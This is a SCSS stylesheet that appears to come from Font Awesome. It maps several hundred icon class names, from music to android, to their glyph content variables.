.#{$fa-css-prefix}-music:before { content: fa-content($fa-var-music); }
.#{$fa-css-prefix}-search:before { content: fa-content($fa-var-search); }
.#{$fa-css-prefix}-envelope-o:before { content: fa-content($fa-var-envelope-o); }
.#{$fa-css-prefix}-heart:before { content: fa-content($fa-var-heart); }
.#{$fa-css-prefix}-star:before { content: fa-content($fa-var-star); }
.#{$fa-css-prefix}-star-o:before { content: fa-content($fa-var-star-o); }
.#{$fa-css-prefix}-user:before { content: fa-content($fa-var-user); }
.#{$fa-css-prefix}-film:before { content: fa-content($fa-var-film); }
.#{$fa-css-prefix}-th-large:before { content: fa-content($fa-var-th-large); }
.#{$fa-css-prefix}-th:before { content: fa-content($fa-var-th); }
.#{$fa-css-prefix}-th-list:before { content: fa-content($fa-var-th-list); }
.#{$fa-css-prefix}-check:before { content: fa-content($fa-var-check); }
.#{$fa-css-prefix}-remove:before,
.#{$fa-css-prefix}-close:before,
.#{$fa-css-prefix}-times:before { content: fa-content($fa-var-times); }
.#{$fa-css-prefix}-search-plus:before { content: fa-content($fa-var-search-plus); }
.#{$fa-css-prefix}-search-minus:before { content: fa-content($fa-var-search-minus); }
.#{$fa-css-prefix}-power-off:before { content: fa-content($fa-var-power-off); }
.#{$fa-css-prefix}-signal:before { content: fa-content($fa-var-signal); }
.#{$fa-css-prefix}-gear:before,
.#{$fa-css-prefix}-cog:before { content: fa-content($fa-var-cog); }
.#{$fa-css-prefix}-trash-o:before { content: fa-content($fa-var-trash-o); }
.#{$fa-css-prefix}-home:before { content: fa-content($fa-var-home); }
.#{$fa-css-prefix}-file-o:before { content: fa-content($fa-var-file-o); }
.#{$fa-css-prefix}-clock-o:before { content: fa-content($fa-var-clock-o); }
.#{$fa-css-prefix}-road:before { content: fa-content($fa-var-road); }
.#{$fa-css-prefix}-download:before { content: fa-content($fa-var-download); }
.#{$fa-css-prefix}-arrow-circle-o-down:before { content: fa-content($fa-var-arrow-circle-o-down); }
.#{$fa-css-prefix}-arrow-circle-o-up:before { content: fa-content($fa-var-arrow-circle-o-up); }
.#{$fa-css-prefix}-inbox:before { content: fa-content($fa-var-inbox); }
.#{$fa-css-prefix}-play-circle-o:before { content: fa-content($fa-var-play-circle-o); }
.#{$fa-css-prefix}-rotate-right:before,
.#{$fa-css-prefix}-repeat:before { content: fa-content($fa-var-repeat); }
.#{$fa-css-prefix}-sync:before,
.#{$fa-css-prefix}-refresh:before { content: fa-content($fa-var-refresh); }
.#{$fa-css-prefix}-list-alt:before { content: fa-content($fa-var-list-alt); }
.#{$fa-css-prefix}-lock:before { content: fa-content($fa-var-lock); }
.#{$fa-css-prefix}-flag:before { content: fa-content($fa-var-flag); }
.#{$fa-css-prefix}-headphones:before { content: fa-content($fa-var-headphones); }
.#{$fa-css-prefix}-volume-off:before { content: fa-content($fa-var-volume-off); }
.#{$fa-css-prefix}-volume-down:before { content: fa-content($fa-var-volume-down); }
.#{$fa-css-prefix}-volume-up:before { content: fa-content($fa-var-volume-up); }
.#{$fa-css-prefix}-qrcode:before { content: fa-content($fa-var-qrcode); }
.#{$fa-css-prefix}-barcode:before { content: fa-content($fa-var-barcode); }
.#{$fa-css-prefix}-tag:before { content: fa-content($fa-var-tag); }
.#{$fa-css-prefix}-tags:before { content: fa-content($fa-var-tags); }
.#{$fa-css-prefix}-book:before { content: fa-content($fa-var-book); }
.#{$fa-css-prefix}-bookmark:before { content: fa-content($fa-var-bookmark); }
.#{$fa-css-prefix}-print:before { content: fa-content($fa-var-print); }
.#{$fa-css-prefix}-camera:before { content: fa-content($fa-var-camera); }
.#{$fa-css-prefix}-font:before { content: fa-content($fa-var-font); }
.#{$fa-css-prefix}-bold:before { content: fa-content($fa-var-bold); }
.#{$fa-css-prefix}-italic:before { content: fa-content($fa-var-italic); }
.#{$fa-css-prefix}-text-height:before { content: fa-content($fa-var-text-height); }
.#{$fa-css-prefix}-text-width:before { content: fa-content($fa-var-text-width); }
.#{$fa-css-prefix}-align-left:before { content: fa-content($fa-var-align-left); }
.#{$fa-css-prefix}-align-center:before { content: fa-content($fa-var-align-center); }
.#{$fa-css-prefix}-align-right:before { content: fa-content($fa-var-align-right); }
.#{$fa-css-prefix}-align-justify:before { content: fa-content($fa-var-align-justify); }
.#{$fa-css-prefix}-list:before { content: fa-content($fa-var-list); }
.#{$fa-css-prefix}-dedent:before,
.#{$fa-css-prefix}-outdent:before { content: fa-content($fa-var-outdent); }
.#{$fa-css-prefix}-indent:before { content: fa-content($fa-var-indent); }
.#{$fa-css-prefix}-video:before,
.#{$fa-css-prefix}-video-camera:before { content: fa-content($fa-var-video-camera); }
.#{$fa-css-prefix}-photo:before,
.#{$fa-css-prefix}-image:before,
.#{$fa-css-prefix}-picture-o:before { content: fa-content($fa-var-picture-o); }
.#{$fa-css-prefix}-pencil:before { content: fa-content($fa-var-pencil); }
.#{$fa-css-prefix}-map-marker:before { content: fa-content($fa-var-map-marker); }
.#{$fa-css-prefix}-adjust:before { content: fa-content($fa-var-adjust); }
.#{$fa-css-prefix}-tint:before { content: fa-content($fa-var-tint); }
.#{$fa-css-prefix}-edit:before,
.#{$fa-css-prefix}-pencil-square-o:before { content: fa-content($fa-var-pencil-square-o); }
.#{$fa-css-prefix}-share-square-o:before { content: fa-content($fa-var-share-square-o); }
.#{$fa-css-prefix}-check-square-o:before { content: fa-content($fa-var-check-square-o); }
.#{$fa-css-prefix}-arrows:before { content: fa-content($fa-var-arrows); }
.#{$fa-css-prefix}-step-backward:before { content: fa-content($fa-var-step-backward); }
.#{$fa-css-prefix}-fast-backward:before { content: fa-content($fa-var-fast-backward); }
.#{$fa-css-prefix}-backward:before { content: fa-content($fa-var-backward); }
.#{$fa-css-prefix}-play:before { content: fa-content($fa-var-play); }
.#{$fa-css-prefix}-pause:before { content: fa-content($fa-var-pause); }
.#{$fa-css-prefix}-stop:before { content: fa-content($fa-var-stop); }
.#{$fa-css-prefix}-forward:before { content: fa-content($fa-var-forward); }
.#{$fa-css-prefix}-fast-forward:before { content: fa-content($fa-var-fast-forward); }
.#{$fa-css-prefix}-step-forward:before { content: fa-content($fa-var-step-forward); }
.#{$fa-css-prefix}-eject:before { content: fa-content($fa-var-eject); }
.#{$fa-css-prefix}-chevron-left:before { content: fa-content($fa-var-chevron-left); }
.#{$fa-css-prefix}-chevron-right:before { content: fa-content($fa-var-chevron-right); }
.#{$fa-css-prefix}-plus-circle:before { content: fa-content($fa-var-plus-circle); }
.#{$fa-css-prefix}-minus-circle:before { content: fa-content($fa-var-minus-circle); }
.#{$fa-css-prefix}-times-circle:before { content: fa-content($fa-var-times-circle); }
.#{$fa-css-prefix}-check-circle:before { content: fa-content($fa-var-check-circle); }
.#{$fa-css-prefix}-question-circle:before { content: fa-content($fa-var-question-circle); }
.#{$fa-css-prefix}-info-circle:before { content: fa-content($fa-var-info-circle); }
.#{$fa-css-prefix}-crosshairs:before { content: fa-content($fa-var-crosshairs); }
.#{$fa-css-prefix}-times-circle-o:before { content: fa-content($fa-var-times-circle-o); }
.#{$fa-css-prefix}-check-circle-o:before { content: fa-content($fa-var-check-circle-o); }
.#{$fa-css-prefix}-ban:before { content: fa-content($fa-var-ban); }
.#{$fa-css-prefix}-arrow-left:before { content: fa-content($fa-var-arrow-left); }
.#{$fa-css-prefix}-arrow-right:before { content: fa-content($fa-var-arrow-right); }
.#{$fa-css-prefix}-arrow-up:before { content: fa-content($fa-var-arrow-up); }
.#{$fa-css-prefix}-arrow-down:before { content: fa-content($fa-var-arrow-down); }
.#{$fa-css-prefix}-mail-forward:before,
.#{$fa-css-prefix}-share:before { content: fa-content($fa-var-share); }
.#{$fa-css-prefix}-expand:before { content: fa-content($fa-var-expand); }
.#{$fa-css-prefix}-compress:before { content: fa-content($fa-var-compress); }
.#{$fa-css-prefix}-plus:before { content: fa-content($fa-var-plus); }
.#{$fa-css-prefix}-minus:before { content: fa-content($fa-var-minus); }
.#{$fa-css-prefix}-asterisk:before { content: fa-content($fa-var-asterisk); }
.#{$fa-css-prefix}-exclamation-circle:before { content: fa-content($fa-var-exclamation-circle); }
.#{$fa-css-prefix}-gift:before { content: fa-content($fa-var-gift); }
.#{$fa-css-prefix}-leaf:before { content: fa-content($fa-var-leaf); }
.#{$fa-css-prefix}-fire:before { content: fa-content($fa-var-fire); }
.#{$fa-css-prefix}-eye:before { content: fa-content($fa-var-eye); }
.#{$fa-css-prefix}-eye-slash:before { content: fa-content($fa-var-eye-slash); }
.#{$fa-css-prefix}-warning:before,
.#{$fa-css-prefix}-exclamation-triangle:before { content: fa-content($fa-var-exclamation-triangle); }
.#{$fa-css-prefix}-plane:before { content: fa-content($fa-var-plane); }
.#{$fa-css-prefix}-calendar:before { content: fa-content($fa-var-calendar); }
.#{$fa-css-prefix}-random:before { content: fa-content($fa-var-random); }
.#{$fa-css-prefix}-comment:before { content: fa-content($fa-var-comment); }
.#{$fa-css-prefix}-magnet:before { content: fa-content($fa-var-magnet); }
.#{$fa-css-prefix}-chevron-up:before { content: fa-content($fa-var-chevron-up); }
.#{$fa-css-prefix}-chevron-down:before { content: fa-content($fa-var-chevron-down); }
.#{$fa-css-prefix}-retweet:before { content: fa-content($fa-var-retweet); }
.#{$fa-css-prefix}-shopping-cart:before { content: fa-content($fa-var-shopping-cart); }
.#{$fa-css-prefix}-folder:before { content: fa-content($fa-var-folder); }
.#{$fa-css-prefix}-folder-open:before { content: fa-content($fa-var-folder-open); }
.#{$fa-css-prefix}-arrows-v:before { content: fa-content($fa-var-arrows-v); }
.#{$fa-css-prefix}-arrows-h:before { content: fa-content($fa-var-arrows-h); }
.#{$fa-css-prefix}-bar-chart-o:before,
.#{$fa-css-prefix}-bar-chart:before { content: fa-content($fa-var-bar-chart); }
.#{$fa-css-prefix}-twitter-square:before { content: fa-content($fa-var-twitter-square); }
.#{$fa-css-prefix}-facebook-square:before { content: fa-content($fa-var-facebook-square); }
.#{$fa-css-prefix}-camera-retro:before { content: fa-content($fa-var-camera-retro); }
.#{$fa-css-prefix}-key:before { content: fa-content($fa-var-key); }
.#{$fa-css-prefix}-gears:before,
.#{$fa-css-prefix}-cogs:before { content: fa-content($fa-var-cogs); }
.#{$fa-css-prefix}-comments:before { content: fa-content($fa-var-comments); }
.#{$fa-css-prefix}-thumbs-o-up:before { content: fa-content($fa-var-thumbs-o-up); }
.#{$fa-css-prefix}-thumbs-o-down:before { content: fa-content($fa-var-thumbs-o-down); }
.#{$fa-css-prefix}-star-half:before { content: fa-content($fa-var-star-half); }
.#{$fa-css-prefix}-heart-o:before { content: fa-content($fa-var-heart-o); }
.#{$fa-css-prefix}-sign-out:before { content: fa-content($fa-var-sign-out); }
.#{$fa-css-prefix}-linkedin-square:before { content: fa-content($fa-var-linkedin-square); }
.#{$fa-css-prefix}-thumb-tack:before { content: fa-content($fa-var-thumb-tack); }
.#{$fa-css-prefix}-external-link:before { content: fa-content($fa-var-external-link); }
.#{$fa-css-prefix}-sign-in:before { content: fa-content($fa-var-sign-in); }
.#{$fa-css-prefix}-trophy:before { content: fa-content($fa-var-trophy); }
.#{$fa-css-prefix}-github-square:before { content: fa-content($fa-var-github-square); }
.#{$fa-css-prefix}-upload:before { content: fa-content($fa-var-upload); }
.#{$fa-css-prefix}-lemon-o:before { content: fa-content($fa-var-lemon-o); }
.#{$fa-css-prefix}-phone:before { content: fa-content($fa-var-phone); }
.#{$fa-css-prefix}-square-o:before { content: fa-content($fa-var-square-o); }
.#{$fa-css-prefix}-bookmark-o:before { content: fa-content($fa-var-bookmark-o); }
.#{$fa-css-prefix}-phone-square:before { content: fa-content($fa-var-phone-square); }
.#{$fa-css-prefix}-twitter:before { content: fa-content($fa-var-twitter); }
.#{$fa-css-prefix}-facebook-f:before,
.#{$fa-css-prefix}-facebook:before { content: fa-content($fa-var-facebook); }
.#{$fa-css-prefix}-github:before { content: fa-content($fa-var-github); }
.#{$fa-css-prefix}-unlock:before { content: fa-content($fa-var-unlock); }
.#{$fa-css-prefix}-credit-card:before { content: fa-content($fa-var-credit-card); }
.#{$fa-css-prefix}-feed:before,
.#{$fa-css-prefix}-rss:before { content: fa-content($fa-var-rss); }
.#{$fa-css-prefix}-hdd-o:before { content: fa-content($fa-var-hdd-o); }
.#{$fa-css-prefix}-bullhorn:before { content: fa-content($fa-var-bullhorn); }
.#{$fa-css-prefix}-bell-o:before { content: fa-content($fa-var-bell-o); }
.#{$fa-css-prefix}-certificate:before { content: fa-content($fa-var-certificate); }
.#{$fa-css-prefix}-hand-o-right:before { content: fa-content($fa-var-hand-o-right); }
.#{$fa-css-prefix}-hand-o-left:before { content: fa-content($fa-var-hand-o-left); }
.#{$fa-css-prefix}-hand-o-up:before { content: fa-content($fa-var-hand-o-up); }
.#{$fa-css-prefix}-hand-o-down:before { content: fa-content($fa-var-hand-o-down); }
.#{$fa-css-prefix}-arrow-circle-left:before { content: fa-content($fa-var-arrow-circle-left); }
.#{$fa-css-prefix}-arrow-circle-right:before { content: fa-content($fa-var-arrow-circle-right); }
.#{$fa-css-prefix}-arrow-circle-up:before { content: fa-content($fa-var-arrow-circle-up); }
.#{$fa-css-prefix}-arrow-circle-down:before { content: fa-content($fa-var-arrow-circle-down); }
.#{$fa-css-prefix}-globe:before { content: fa-content($fa-var-globe); }
.#{$fa-css-prefix}-globe-e:before { content: fa-content($fa-var-globe-e); }
.#{$fa-css-prefix}-globe-w:before { content: fa-content($fa-var-globe-w); }
.#{$fa-css-prefix}-wrench:before { content: fa-content($fa-var-wrench); }
.#{$fa-css-prefix}-tasks:before { content: fa-content($fa-var-tasks); }
.#{$fa-css-prefix}-filter:before { content: fa-content($fa-var-filter); }
.#{$fa-css-prefix}-briefcase:before { content: fa-content($fa-var-briefcase); }
.#{$fa-css-prefix}-arrows-alt:before { content: fa-content($fa-var-arrows-alt); }
.#{$fa-css-prefix}-community:before,
.#{$fa-css-prefix}-group:before,
.#{$fa-css-prefix}-users:before { content: fa-content($fa-var-users); }
.#{$fa-css-prefix}-chain:before,
.#{$fa-css-prefix}-link:before { content: fa-content($fa-var-link); }
.#{$fa-css-prefix}-cloud:before { content: fa-content($fa-var-cloud); }
.#{$fa-css-prefix}-flask:before { content: fa-content($fa-var-flask); }
.#{$fa-css-prefix}-cut:before,
.#{$fa-css-prefix}-scissors:before { content: fa-content($fa-var-scissors); }
.#{$fa-css-prefix}-copy:before,
.#{$fa-css-prefix}-files-o:before { content: fa-content($fa-var-files-o); }
.#{$fa-css-prefix}-paperclip:before { content: fa-content($fa-var-paperclip); }
.#{$fa-css-prefix}-save:before,
.#{$fa-css-prefix}-floppy-o:before { content: fa-content($fa-var-floppy-o); }
.#{$fa-css-prefix}-square:before { content: fa-content($fa-var-square); }
.#{$fa-css-prefix}-navicon:before,
.#{$fa-css-prefix}-reorder:before,
.#{$fa-css-prefix}-bars:before { content: fa-content($fa-var-bars); }
.#{$fa-css-prefix}-list-ul:before { content: fa-content($fa-var-list-ul); }
.#{$fa-css-prefix}-list-ol:before { content: fa-content($fa-var-list-ol); }
.#{$fa-css-prefix}-strikethrough:before { content: fa-content($fa-var-strikethrough); }
.#{$fa-css-prefix}-underline:before { content: fa-content($fa-var-underline); }
.#{$fa-css-prefix}-table:before { content: fa-content($fa-var-table); }
.#{$fa-css-prefix}-magic:before { content: fa-content($fa-var-magic); }
.#{$fa-css-prefix}-truck:before { content: fa-content($fa-var-truck); }
.#{$fa-css-prefix}-pinterest:before { content: fa-content($fa-var-pinterest); }
.#{$fa-css-prefix}-pinterest-square:before { content: fa-content($fa-var-pinterest-square); }
.#{$fa-css-prefix}-google-plus-square:before { content: fa-content($fa-var-google-plus-square); }
.#{$fa-css-prefix}-google-plus-g:before,
.#{$fa-css-prefix}-google-plus:before { content: fa-content($fa-var-google-plus); }
.#{$fa-css-prefix}-money:before { content: fa-content($fa-var-money); }
.#{$fa-css-prefix}-caret-down:before { content: fa-content($fa-var-caret-down); }
.#{$fa-css-prefix}-caret-up:before { content: fa-content($fa-var-caret-up); }
.#{$fa-css-prefix}-caret-left:before { content: fa-content($fa-var-caret-left); }
.#{$fa-css-prefix}-caret-right:before { content: fa-content($fa-var-caret-right); }
.#{$fa-css-prefix}-columns:before { content: fa-content($fa-var-columns); }
.#{$fa-css-prefix}-unsorted:before,
.#{$fa-css-prefix}-sort:before { content: fa-content($fa-var-sort); }
.#{$fa-css-prefix}-sort-down:before,
.#{$fa-css-prefix}-sort-desc:before { content: fa-content($fa-var-sort-desc); }
.#{$fa-css-prefix}-sort-up:before,
.#{$fa-css-prefix}-sort-asc:before { content: fa-content($fa-var-sort-asc); }
.#{$fa-css-prefix}-envelope:before { content: fa-content($fa-var-envelope); }
.#{$fa-css-prefix}-linkedin:before { content: fa-content($fa-var-linkedin); }
.#{$fa-css-prefix}-rotate-left:before,
.#{$fa-css-prefix}-undo:before { content: fa-content($fa-var-undo); }
.#{$fa-css-prefix}-legal:before,
.#{$fa-css-prefix}-gavel:before { content: fa-content($fa-var-gavel); }
.#{$fa-css-prefix}-dashboard:before,
.#{$fa-css-prefix}-tachometer:before { content: fa-content($fa-var-tachometer); }
.#{$fa-css-prefix}-comment-o:before { content: fa-content($fa-var-comment-o); }
.#{$fa-css-prefix}-comments-o:before { content: fa-content($fa-var-comments-o); }
.#{$fa-css-prefix}-flash:before,
.#{$fa-css-prefix}-bolt:before { content: fa-content($fa-var-bolt); }
.#{$fa-css-prefix}-sitemap:before { content: fa-content($fa-var-sitemap); }
.#{$fa-css-prefix}-umbrella:before { content: fa-content($fa-var-umbrella); }
.#{$fa-css-prefix}-paste:before,
.#{$fa-css-prefix}-clipboard:before { content: fa-content($fa-var-clipboard); }
.#{$fa-css-prefix}-lightbulb-o:before { content: fa-content($fa-var-lightbulb-o); }
.#{$fa-css-prefix}-exchange:before { content: fa-content($fa-var-exchange); }
.#{$fa-css-prefix}-cloud-download:before { content: fa-content($fa-var-cloud-download); }
.#{$fa-css-prefix}-cloud-upload:before { content: fa-content($fa-var-cloud-upload); }
.#{$fa-css-prefix}-user-md:before { content: fa-content($fa-var-user-md); }
.#{$fa-css-prefix}-stethoscope:before { content: fa-content($fa-var-stethoscope); }
.#{$fa-css-prefix}-suitcase:before { content: fa-content($fa-var-suitcase); }
.#{$fa-css-prefix}-bell:before { content: fa-content($fa-var-bell); }
.#{$fa-css-prefix}-coffee:before { content: fa-content($fa-var-coffee); }
.#{$fa-css-prefix}-utensils:before,
.#{$fa-css-prefix}-cutlery:before { content: fa-content($fa-var-cutlery); }
.#{$fa-css-prefix}-file-text-o:before { content: fa-content($fa-var-file-text-o); }
.#{$fa-css-prefix}-building-o:before { content: fa-content($fa-var-building-o); }
.#{$fa-css-prefix}-hospital-o:before { content: fa-content($fa-var-hospital-o); }
.#{$fa-css-prefix}-ambulance:before { content: fa-content($fa-var-ambulance); }
.#{$fa-css-prefix}-medkit:before { content: fa-content($fa-var-medkit); }
.#{$fa-css-prefix}-fighter-jet:before { content: fa-content($fa-var-fighter-jet); }
.#{$fa-css-prefix}-beer:before { content: fa-content($fa-var-beer); }
.#{$fa-css-prefix}-h-square:before { content: fa-content($fa-var-h-square); }
.#{$fa-css-prefix}-plus-square:before { content: fa-content($fa-var-plus-square); }
.#{$fa-css-prefix}-angle-double-left:before { content: fa-content($fa-var-angle-double-left); }
.#{$fa-css-prefix}-angle-double-right:before { content: fa-content($fa-var-angle-double-right); }
.#{$fa-css-prefix}-angle-double-up:before { content: fa-content($fa-var-angle-double-up); }
.#{$fa-css-prefix}-angle-double-down:before { content: fa-content($fa-var-angle-double-down); }
.#{$fa-css-prefix}-angle-left:before { content: fa-content($fa-var-angle-left); }
.#{$fa-css-prefix}-angle-right:before { content: fa-content($fa-var-angle-right); }
.#{$fa-css-prefix}-angle-up:before { content: fa-content($fa-var-angle-up); }
.#{$fa-css-prefix}-angle-down:before { content: fa-content($fa-var-angle-down); }
.#{$fa-css-prefix}-desktop:before { content: fa-content($fa-var-desktop); }
.#{$fa-css-prefix}-laptop:before { content: fa-content($fa-var-laptop); }
.#{$fa-css-prefix}-tablet:before { content: fa-content($fa-var-tablet); }
.#{$fa-css-prefix}-mobile-phone:before,
.#{$fa-css-prefix}-mobile:before { content: fa-content($fa-var-mobile); }
.#{$fa-css-prefix}-circle-o:before { content: fa-content($fa-var-circle-o); }
.#{$fa-css-prefix}-quote-left:before { content: fa-content($fa-var-quote-left); }
.#{$fa-css-prefix}-quote-right:before { content: fa-content($fa-var-quote-right); }
.#{$fa-css-prefix}-spinner:before { content: fa-content($fa-var-spinner); }
.#{$fa-css-prefix}-circle:before { content: fa-content($fa-var-circle); }
.#{$fa-css-prefix}-mail-reply:before,
.#{$fa-css-prefix}-reply:before { content: fa-content($fa-var-reply); }
.#{$fa-css-prefix}-github-alt:before { content: fa-content($fa-var-github-alt); }
.#{$fa-css-prefix}-folder-o:before { content: fa-content($fa-var-folder-o); }
.#{$fa-css-prefix}-folder-open-o:before { content: fa-content($fa-var-folder-open-o); }
.#{$fa-css-prefix}-smile-o:before { content: fa-content($fa-var-smile-o); }
.#{$fa-css-prefix}-frown-o:before { content: fa-content($fa-var-frown-o); }
.#{$fa-css-prefix}-meh-o:before { content: fa-content($fa-var-meh-o); }
.#{$fa-css-prefix}-gamepad:before { content: fa-content($fa-var-gamepad); }
.#{$fa-css-prefix}-keyboard-o:before { content: fa-content($fa-var-keyboard-o); }
.#{$fa-css-prefix}-flag-o:before { content: fa-content($fa-var-flag-o); }
.#{$fa-css-prefix}-flag-checkered:before { content: fa-content($fa-var-flag-checkered); }
.#{$fa-css-prefix}-terminal:before { content: fa-content($fa-var-terminal); }
.#{$fa-css-prefix}-code:before { content: fa-content($fa-var-code); }
.#{$fa-css-prefix}-mail-reply-all:before,
.#{$fa-css-prefix}-reply-all:before { content: fa-content($fa-var-reply-all); }
.#{$fa-css-prefix}-star-half-empty:before,
.#{$fa-css-prefix}-star-half-full:before,
.#{$fa-css-prefix}-star-half-o:before { content: fa-content($fa-var-star-half-o); }
.#{$fa-css-prefix}-location-arrow:before { content: fa-content($fa-var-location-arrow); }
.#{$fa-css-prefix}-crop:before { content: fa-content($fa-var-crop); }
.#{$fa-css-prefix}-code-fork:before { content: fa-content($fa-var-code-fork); }
.#{$fa-css-prefix}-unlink:before,
.#{$fa-css-prefix}-chain-broken:before { content: fa-content($fa-var-chain-broken); }
.#{$fa-css-prefix}-question:before { content: fa-content($fa-var-question); }
.#{$fa-css-prefix}-info:before { content: fa-content($fa-var-info); }
.#{$fa-css-prefix}-exclamation:before { content: fa-content($fa-var-exclamation); }
.#{$fa-css-prefix}-superscript:before { content: fa-content($fa-var-superscript); }
.#{$fa-css-prefix}-subscript:before { content: fa-content($fa-var-subscript); }
.#{$fa-css-prefix}-eraser:before { content: fa-content($fa-var-eraser); }
.#{$fa-css-prefix}-puzzle-piece:before { content: fa-content($fa-var-puzzle-piece); }
.#{$fa-css-prefix}-microphone:before { content: fa-content($fa-var-microphone); }
.#{$fa-css-prefix}-microphone-slash:before { content: fa-content($fa-var-microphone-slash); }
.#{$fa-css-prefix}-shield:before { content: fa-content($fa-var-shield); }
.#{$fa-css-prefix}-calendar-o:before { content: fa-content($fa-var-calendar-o); }
.#{$fa-css-prefix}-fire-extinguisher:before { content: fa-content($fa-var-fire-extinguisher); }
.#{$fa-css-prefix}-rocket:before { content: fa-content($fa-var-rocket); }
.#{$fa-css-prefix}-maxcdn:before { content: fa-content($fa-var-maxcdn); }
.#{$fa-css-prefix}-chevron-circle-left:before { content: fa-content($fa-var-chevron-circle-left); }
.#{$fa-css-prefix}-chevron-circle-right:before { content: fa-content($fa-var-chevron-circle-right); }
.#{$fa-css-prefix}-chevron-circle-up:before { content: fa-content($fa-var-chevron-circle-up); }
.#{$fa-css-prefix}-chevron-circle-down:before { content: fa-content($fa-var-chevron-circle-down); }
.#{$fa-css-prefix}-html5:before { content: fa-content($fa-var-html5); }
.#{$fa-css-prefix}-css3:before { content: fa-content($fa-var-css3); }
.#{$fa-css-prefix}-anchor:before { content: fa-content($fa-var-anchor); }
.#{$fa-css-prefix}-unlock-alt:before { content: fa-content($fa-var-unlock-alt); }
.#{$fa-css-prefix}-bullseye:before { content: fa-content($fa-var-bullseye); }
.#{$fa-css-prefix}-ellipsis-h:before { content: fa-content($fa-var-ellipsis-h); }
.#{$fa-css-prefix}-ellipsis-v:before { content: fa-content($fa-var-ellipsis-v); }
.#{$fa-css-prefix}-rss-square:before { content: fa-content($fa-var-rss-square); }
.#{$fa-css-prefix}-play-circle:before { content: fa-content($fa-var-play-circle); }
.#{$fa-css-prefix}-ticket:before { content: fa-content($fa-var-ticket); }
.#{$fa-css-prefix}-minus-square:before { content: fa-content($fa-var-minus-square); }
.#{$fa-css-prefix}-minus-square-o:before { content: fa-content($fa-var-minus-square-o); }
.#{$fa-css-prefix}-level-up:before { content: fa-content($fa-var-level-up); }
.#{$fa-css-prefix}-level-down:before { content: fa-content($fa-var-level-down); }
.#{$fa-css-prefix}-check-square:before { content: fa-content($fa-var-check-square); }
.#{$fa-css-prefix}-pencil-square:before { content: fa-content($fa-var-pencil-square); }
.#{$fa-css-prefix}-external-link-square:before { content: fa-content($fa-var-external-link-square); }
.#{$fa-css-prefix}-share-square:before { content: fa-content($fa-var-share-square); }
.#{$fa-css-prefix}-compass:before { content: fa-content($fa-var-compass); }
.#{$fa-css-prefix}-toggle-down:before,
.#{$fa-css-prefix}-caret-square-o-down:before { content: fa-content($fa-var-caret-square-o-down); }
.#{$fa-css-prefix}-toggle-up:before,
.#{$fa-css-prefix}-caret-square-o-up:before { content: fa-content($fa-var-caret-square-o-up); }
.#{$fa-css-prefix}-toggle-right:before,
.#{$fa-css-prefix}-caret-square-o-right:before { content: fa-content($fa-var-caret-square-o-right); }
.#{$fa-css-prefix}-euro:before,
.#{$fa-css-prefix}-eur:before { content: fa-content($fa-var-eur); }
.#{$fa-css-prefix}-pound:before,
.#{$fa-css-prefix}-gbp:before { content: fa-content($fa-var-gbp); }
.#{$fa-css-prefix}-dollar:before,
.#{$fa-css-prefix}-usd:before { content: fa-content($fa-var-usd); }
.#{$fa-css-prefix}-rupee:before,
.#{$fa-css-prefix}-inr:before { content: fa-content($fa-var-inr); }
.#{$fa-css-prefix}-cny:before,
.#{$fa-css-prefix}-rmb:before,
.#{$fa-css-prefix}-yen:before,
.#{$fa-css-prefix}-jpy:before { content: fa-content($fa-var-jpy); }
.#{$fa-css-prefix}-ruble:before,
.#{$fa-css-prefix}-rouble:before,
.#{$fa-css-prefix}-rub:before { content: fa-content($fa-var-rub); }
.#{$fa-css-prefix}-won:before,
.#{$fa-css-prefix}-krw:before { content: fa-content($fa-var-krw); }
.#{$fa-css-prefix}-bitcoin:before,
.#{$fa-css-prefix}-btc:before { content: fa-content($fa-var-btc); }
.#{$fa-css-prefix}-file:before { content: fa-content($fa-var-file); }
.#{$fa-css-prefix}-file-text:before { content: fa-content($fa-var-file-text); }
.#{$fa-css-prefix}-sort-alpha-down:before,
.#{$fa-css-prefix}-sort-alpha-asc:before { content: fa-content($fa-var-sort-alpha-asc); }
.#{$fa-css-prefix}-sort-alpha-up:before,
.#{$fa-css-prefix}-sort-alpha-desc:before { content: fa-content($fa-var-sort-alpha-desc); }
.#{$fa-css-prefix}-sort-amount-down:before,
.#{$fa-css-prefix}-sort-amount-asc:before { content: fa-content($fa-var-sort-amount-asc); }
.#{$fa-css-prefix}-sort-amount-up:before,
.#{$fa-css-prefix}-sort-amount-desc:before { content: fa-content($fa-var-sort-amount-desc); }
.#{$fa-css-prefix}-sort-numeric-down:before,
.#{$fa-css-prefix}-sort-numeric-asc:before { content: fa-content($fa-var-sort-numeric-asc); }
.#{$fa-css-prefix}-sort-numeric-up:before,
.#{$fa-css-prefix}-sort-numeric-desc:before { content: fa-content($fa-var-sort-numeric-desc); }
.#{$fa-css-prefix}-thumbs-up:before { content: fa-content($fa-var-thumbs-up); }
.#{$fa-css-prefix}-thumbs-down:before { content: fa-content($fa-var-thumbs-down); }
.#{$fa-css-prefix}-youtube-square:before { content: fa-content($fa-var-youtube-square); }
.#{$fa-css-prefix}-youtube:before { content: fa-content($fa-var-youtube); }
.#{$fa-css-prefix}-xing:before { content: fa-content($fa-var-xing); }
.#{$fa-css-prefix}-xing-square:before { content: fa-content($fa-var-xing-square); }
.#{$fa-css-prefix}-youtube-play:before { content: fa-content($fa-var-youtube-play); }
.#{$fa-css-prefix}-dropbox:before { content: fa-content($fa-var-dropbox); }
.#{$fa-css-prefix}-stack-overflow:before { content: fa-content($fa-var-stack-overflow); }
.#{$fa-css-prefix}-instagram:before { content: fa-content($fa-var-instagram); }
.#{$fa-css-prefix}-flickr:before { content: fa-content($fa-var-flickr); }
.#{$fa-css-prefix}-adn:before { content: fa-content($fa-var-adn); }
.#{$fa-css-prefix}-bitbucket:before { content: fa-content($fa-var-bitbucket); }
.#{$fa-css-prefix}-bitbucket-square:before { content: fa-content($fa-var-bitbucket-square); }
.#{$fa-css-prefix}-tumblr:before { content: fa-content($fa-var-tumblr); }
.#{$fa-css-prefix}-tumblr-square:before { content: fa-content($fa-var-tumblr-square); }
.#{$fa-css-prefix}-long-arrow-down:before { content: fa-content($fa-var-long-arrow-down); }
.#{$fa-css-prefix}-long-arrow-up:before { content: fa-content($fa-var-long-arrow-up); }
.#{$fa-css-prefix}-long-arrow-left:before { content: fa-content($fa-var-long-arrow-left); }
.#{$fa-css-prefix}-long-arrow-right:before { content: fa-content($fa-var-long-arrow-right); }
.#{$fa-css-prefix}-apple:before { content: fa-content($fa-var-apple); }
.#{$fa-css-prefix}-windows:before { content: fa-content($fa-var-windows); }
.#{$fa-css-prefix}-android:before { content: fa-content($fa-var-android); }
